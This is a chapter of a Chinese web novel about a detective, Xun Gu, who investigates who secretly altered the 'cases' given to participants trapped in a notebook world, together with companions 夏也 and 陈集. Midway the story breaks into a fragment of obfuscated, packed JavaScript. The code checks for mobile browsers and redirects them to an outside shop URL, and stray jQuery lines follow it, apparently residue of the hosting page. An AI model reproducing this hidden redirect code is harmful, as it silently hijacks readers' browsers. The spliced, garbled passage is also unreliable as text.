36.改案·之罪

作品:《被绑架的侦探笔记

    “你不是沈陌,对吧。”他还故作神秘的换了一种问法。


    荀古直直看过去,仿佛透过眼前这个人看到了整个故事,他哂笑,点头。


    “如你所见,我也不是程致,我是谁不重要,我想告诉你我不是这里的人,我也不是那座山上的人,我有我的世界,但也不重要了,我知道你能救我出去,你不知道有人想你死。”


    “你是几号?”


    “29。”


    “你拿到的案是什么?”


    29号好像有什么难言之隐,啧一声:“我没有案,不只是我,那个54号也没有案,或者说我们的案和你的有关,有一些人,举报沈陌,说他玩什么仙人跳,搞诈/骗,案子都不大,只是都归于沈陌一人。”


    “你入案的时候就是这些案子?”


    29号摇摇头:“那不是,有别的案子来着,我当时在碎片里看到一些,只是醒来之后有人把我们几个都聚到了一起,他给我们改了案,说从现在开始,我们的任务是查明这些人说的是不是真的,如果有必要,可以把沈陌送进监狱。78号和2号原本不在派出所,但后来也被安排到派出所了,18号在外面。”


    荀古越听越冷静:“穆九熙是54号?”


    “是,他去酒店和你没关系,但是和沈陌有关系,他去那里是为了和其他人交换信息,荀古,我知道你叫荀古,我在大厅里见过你第一案的时候什么样,我还知道只要你破了你的案,我们的案自然也就破了,我不想死,我想出去。”


    荀古强挤出丝丝笑意:“我明白了。”


    说完荀古转身下楼。


    “冲你来的。”


    “显而易见。”


    “可是你还是要先破你自己的案子。”


    荀古急刹住脚步,夏也也跟着停住:“他刚刚说,有个人找他们,那个人,可以改案。”


    夏也回想之后点点头:“是这么说的,你觉得他说的有问题?”


    “我更愿意相信他说的是对的。”


    *


    白桦耳边回响着这几句话,从棺材前站起身来。


    白桦拖着沉重的步子,走到长桌前,他似有若无地喘着气,问:“谁改的案,谁?!”


    四周围聚的人被他最后这一嗓子唬住不少,水青从屋里走出来,他还是不知道白桦怎么突然改了性情,眼下更不知道白桦这是怎么了。


    “白桦,怎么了?”


    白桦强压住心中怨火:“有人在入案之后改了案。”


    水青的震惊丝毫不亚于白桦,因为这意味着有人彻底打破了他们的规则,来去自如不说,还改变了他们的规则,比荀古还要彻底。


    “入案之后还能改案?怎么可能?那案底子是荒夏设的!”


    是啊,怎么可能。


    白桦垂着两条胳膊站在长桌前,忽然他抬头,喃喃道:“是他们,是他们……”


    “谁?”


    “法典司,对,法典司,除了他们没有人可以……”白桦欲哭无泪状,“为什么呀?荒夏已经死了,笔记乱成这模样,为什么还要来插手啊……”


    *


    “法典司做不到。”


    夏也试图解释也试图帮荀古排除一些错误方向。


    荀古问夏也:“你在法典司什么职位?”


    夏也沉默了大概一分钟:“没有时序核心,但在上司。”


    “你在上司,是,既然你认识时序,那你应该是荒夏最早一批或者心腹的那一批,你在上司没什么问题。”


    夏也有些许着急:“我不是为法典司开脱,我的意思是法典司做不到,既然法典司做不到就一定有别的什么人,至少法典司现在被晾在明面上,而这个别的什么人我们不知道。”


    夏也说的有道理,荀古明白这一点。


    “当然,那管家和那什么将军也办不到,现在这个事情已经发展成好几波人……你怎么了?想到什么?”


    “陈集!”


    “陈集不知道,陈集是冤枉的。”陈集甩着一头蓝毛从一棵树后面走出来,“别老陈集陈集的,陈集很忙的,跟你说了陈集是高层人物,不是小喽啰。”


    荀古在看到陈集走出来的那刻居然松了口气,他和夏也互看一眼,往陈集那边走两步:“你不知道,万一是你家老大呢?”


    陈集冲夏也拱拱手:“初次见面,幸会幸会。”


    夏也学着那样敷衍两下,荀古摆摆手,意思是算了吧。


    “我家老大闭关呢,没兴趣管你这糟烂事儿,还有啊,我们的目标是怎么出案,跟什么什么改案没有半毛钱关系。”


    “那以你所见呢?”


    陈集忽来兴奋:“你问我?开始相信我的话了?早这样多好。”


    荀古:“……”


    陈集的臭屁样三秒钟就够:“我呢确实给你带来点消息,说是上城法典司出走了时序大人,又说那时序大人是法典司总司长的儿子,总司长盛怒之后痛哭流涕,派出来好几波人找这位时序大人的下落……”


    “放屁!”夏也吼一声,“谁是他儿子。”


    陈集吓得一跳脚:“你吼什么?你是时序?不是就不是嘛,我说了只是一些消息,我又不知道。”


    荀古哭笑不得,一手摁住暴躁的夏也,一手挥一挥,示意陈集继续说。


    陈集瞪了夏也一眼,才说:“刚刚这些只是前调,中调是什么呢?法典司风执官请假说要休沐,结果私自去了那座荒山,和你相聊甚欢。尾调来了啊,法典司杜池大人和隋宁大人一前一后去了荒山,在大厅里慰问荒夏遗体,之后乘风而去,不知所踪。”


    “时序,风执官,杜池,隋宁……这都是荒夏身边的人,风执官回去了?”


    “这我不知道,那可是号称上城法典司上司能和总司长平起平坐,一辈子只听荒夏与正义遣派,一巴掌能拍散法典司办公大楼的风执官,谁敢打听他呀,不过民间传闻,荒夏的笔记除了听荒夏的话之外,就最听他的话了。”


    荀古没说话。


    陈集小声问:“你觉得,风执官会不会改案啊?”


    荀古回想他与风执官见面的种种,他并不觉得风执官会让别人来打扰他破这个案子,除非风执官和他说的不尽是真话,可在陈集口中那个诸般名头都叠满的风执官真的会这样嘛?


    荀古不信。


    “你办完你的事情了?”荀古问陈集。


    陈集说:“目前告一段落了,你呢?还卡着?”


    “明知故问。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404684|139301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“关心一下,不领情,嘿,兄弟,跟着他是不是特别没意思啊,加入我们吧,高薪酬,好待遇,还分配房子……”


    荀古淡淡道:“他是法典司上司的人。”


    陈集:“……冒昧了,打搅。”


    陈集乖顺地快走两步跟在荀古身边,引得荀古一阵发笑。


    “现在去哪?”


    “办案子啦,我是搞不懂那个什么什么表白墙,但我觉得可以找一个人。”


    “谁?”


    “赵琪琪。”


    “可是现在是中午,谁都不上班吧?”


    “……那就,过一会儿。”


    之后三个人找了张长椅坐下,夏也的模样略显硬朗,和旁边的两个俊俏小伙还好区别。


    荀古坐下后靠着椅背闭目养神顺便思考一些内心不可说的小秘密,夏也和陈集隔着荀古聊天说话。


    陈集目标明确:“你们上城大吗?是不是特别繁荣豪华?”


    夏也摇头:“死气沉沉,行尸走肉。”


    陈集“哦”一声:“那,你们法典司工资一定很高吧?”


    夏也:“不成正比。”


    陈集恍然:“怪不得一个两个都想离开那破地方,你像你们这样一个两个都往外跑的,被抓回去判什么罪啊?”


    “看领导心思,要么劈死,要么无期,哼,法典司,法典司……装模作样。”


    陈集瘪瘪嘴,看情况不对,不再说这件事:“听说荒夏杀过人,真的假的?”


    这话一处,荀古眼睛虽然没睁开,但还是竖起耳朵打算听一听。


    安静了片刻,夏也说:“荒夏杀人?没有比这更好笑的话。”


    “那么,荒夏当初为什么要离开法典司呢?他可是法典司皇帝般的人物。”


    这一次,夏也没有说话,久久没有说话。


    “是啊,他可是法典司皇帝般的人物,这件事几乎共识,可他离开后所有人都在猜测是不是他做了什么错事,说他犯罪杀人,法典司不容他,竟没有一个人会想一想是不是有人逼他离开。自古江山易主除了遗诏和退位让贤,不就剩下造反了吗,怎么到他这里,只能是他错了呢?”


    荀古睁开眼,静静看着夏也。


    夏也低头看地面,也可能是看鞋面,他再不多说一句话,但他的话已满是凄荒。


    “时间差不多了,下午有她的课,咱们去看看。”荀古提议。


    陈集和夏也跟着起身,陈集拍拍夏也肩膀,没有说话。


    那座大楼荀古应该算是比较熟悉的,楼门口偶遇一对情侣,荀古不由得侧目。


    “怎么了?”


    荀古收回目光:“不知道,到今日,我才真正想起沈陌才二十出头,是青春正好的年轻人,可这个年轻人难免惨了些。”


    陈集问:“要是他们说的都是真的,这算是霸凌吗?”


    荀古重复道:“霸凌?”


    “就是,也算是个新生词汇,倘若沈陌做过些什么,也是我多嘴,可如果沈陌什么都没做,却被这么对待,便是一种不见血的欺负,是吗?”


    荀古听明白,这个观点他是认可的,他说:“可那些人说,沈陌如果有罪,就罪在他什么都没有做,哪怕他玩的花一点也好……”